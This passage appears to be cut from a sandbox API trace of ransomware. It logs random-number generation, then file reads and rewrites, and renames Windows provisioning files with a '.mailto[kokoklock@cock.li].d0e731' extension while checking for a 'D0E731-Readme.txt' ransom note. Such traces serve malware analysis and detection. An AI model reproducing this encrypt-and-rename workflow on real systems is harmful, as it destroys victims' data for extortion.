Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x6d61336c [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xc477dc6b [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x7c6c2f2f [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x5de06c29 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x607865f0 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x692a8b87 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xc89c55f9 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xa4a2134b [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x829e1e65 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xce5a8c18 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x1eccffad [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.448] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x2c43fb58, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c43fb58*=0x1d2, lpOverlapped=0x0) returned 1 [0086.448] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c43fb20 | out: lpNewFilePointer=0x0) returned 1 [0086.448] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1d2, lpNumberOfBytesWritten=0x2c43fb54, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c43fb54*=0x1d2, lpOverlapped=0x0) returned 1 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddf8 [0086.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.448] WriteFile (in: hFile=0x99c, lpBuffer=0x55dddf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c43fb50, lpOverlapped=0x0 | out: lpBuffer=0x55dddf8*, lpNumberOfBytesWritten=0x2c43fb50*=0x20, lpOverlapped=0x0) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.448] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x55dde48*, lpNumberOfBytesWritten=0x2c43fb7c*=0x8, lpOverlapped=0x0) returned 1 [0086.449] WriteFile (in: hFile=0x99c, lpBuffer=0x2c43fb94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2c43fb94*, lpNumberOfBytesWritten=0x2c43fb7c*=0x4, lpOverlapped=0x0) returned 1 [0086.449] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c43fb7c*=0x4, lpOverlapped=0x0) returned 1 [0086.449] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c43fb7c*=0x6c, lpOverlapped=0x0) returned 1 [0086.449] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2c43fb7c*=0x20, lpOverlapped=0x0) returned 1 [0086.450] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c43fb7c*=0x4, lpOverlapped=0x0) returned 1 [0086.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.450] CloseHandle (hObject=0x99c) returned 1 [0086.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x34207d8 [0086.450] wcscpy (in: _Dest=0x34207d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0086.450] wcscat (in: _Dest=0x34207d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0086.450] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.451] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34207d8) returned 1 [0086.451] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0086.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.451] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.451] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.451] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0086.451] RtlExitUserThread (Status=0x1) Thread: id = 1264 os_tid = 0xf8c [0085.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.417] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c4bfd20 | out: lpFileSize=0x2c4bfd20*=650) returned 1 [0086.417] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x286, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.417] ReadFile (in: hFile=0x99c, lpBuffer=0x2c4bfcf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x2c4bfcf4*, lpNumberOfBytesRead=0x2c4bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0086.418] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.418] NtQuerySystemTime (in: CurrentTime=0x2c4bfccc | out: CurrentTime=0x2c4bfccc*=132121176443048156) returned 0x0 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x995e2948 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x7aebb49c [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x38acba39 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x34bd96ed [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x646388c9 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x395193bd [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x773515e1 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x5c615e3f [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xb02126e9 [0086.418] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xac95c195 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xd8c0508e [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x6c1ff446 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x16fcd74d [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xd4cc827f [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xbb06213f [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xfd4afe05 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x8cb1b41d [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xde6b451c [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x70efbf72 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xf3bfb95b [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x35b4acff [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x4d52d0ad [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xe18c5389 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xa0b60bf [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x978e3094 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x2af1d820 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xab6f93fb [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x3b00825f [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0xca0410b6 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x18efed81 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x7b37bdc0 [0086.419] RtlRandom (in: Seed=0x2c4bfcd8 | out: Seed=0x2c4bfcd8) returned 0x7a9ba681 [0086.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.431] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x2c4bfccc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c4bfccc*=0x28a, lpOverlapped=0x0) returned 1 [0086.431] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4bfc94 | out: lpNewFilePointer=0x0) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x28a, lpNumberOfBytesWritten=0x2c4bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c4bfcc8*=0x28a, lpOverlapped=0x0) returned 1 [0086.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddce0 [0086.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddce0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c4bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x55ddce0*, lpNumberOfBytesWritten=0x2c4bfcc4*=0x20, lpOverlapped=0x0) returned 1 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddce0) returned 1 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x55dde48*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x8, lpOverlapped=0x0) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x2c4bfd08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x2c4bfd08*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0086.431] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x6c, lpOverlapped=0x0) returned 1 [0086.432] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x55ddc68*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x20, lpOverlapped=0x0) returned 1 [0086.432] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c4bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0086.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.432] CloseHandle (hObject=0x99c) returned 1 [0086.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x198) returned 0x341a7f8 [0086.432] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" [0086.432] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.432] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.433] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.433] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341aa40) returned 1 [0086.433] RtlExitUserThread (Status=0x1) Thread: id = 1265 os_tid = 0xb0c [0085.211] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.399] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.399] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c53fdec | out: lpFileSize=0x2c53fdec*=670) returned 1 [0086.399] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x29a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.399] ReadFile (in: hFile=0x99c, lpBuffer=0x2c53fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2c53fdc0*, lpNumberOfBytesRead=0x2c53fdbc*=0x4, lpOverlapped=0x0) returned 1 